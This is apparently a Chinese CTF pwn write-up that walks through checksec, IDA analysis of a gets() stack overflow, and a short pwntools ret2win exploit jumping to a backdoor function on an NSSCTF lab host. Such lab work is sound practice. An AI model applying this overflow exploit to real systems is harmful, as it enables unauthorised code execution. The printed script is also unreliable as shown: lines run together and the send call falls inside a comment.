启动环境,并下载附件。
远程连接之后,输入了一些命令,发现无反应。
开始分析附件。
先用checksec查看一下文件的安全属性。
文件是64位的且只开启了NX防御(这个保护开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并利用缓冲区溢出等手段将恶意代码写入内存并使其触发时, 只会直接造成程序的崩溃,但是可以利用 rop (Return-Oriented Programming,返回导向编程)这种方法绕过。)
将文件放入IDA中详细查看。
在函数中发现了 lookatme 函数,他就是我们需要的后门函数,现在的思路就是要知道如何能让程序跳转到这个函数的地址上。
再分析 main 函数。发现了 gets()
危险函数。
双击v4,进入栈,判断栈溢出的字节为 0x20+8 .
并根据之前的后门函数 lookatme 的内存地址,开始编写 exp
exp:
from pwn import *
r=remote('node4.anna.nssctf.cn',28332)lookatme=0x40072c
payload=b'a'*(0x20)+b'b'*8+p64(lookatme)#注意必须要是0x20,不能直接写20。
#payload=b'a'*(0x20+8)+p64(lookatme) 这个方式也可以r.sendline(payload)
r.interactive()
成功得到了flag。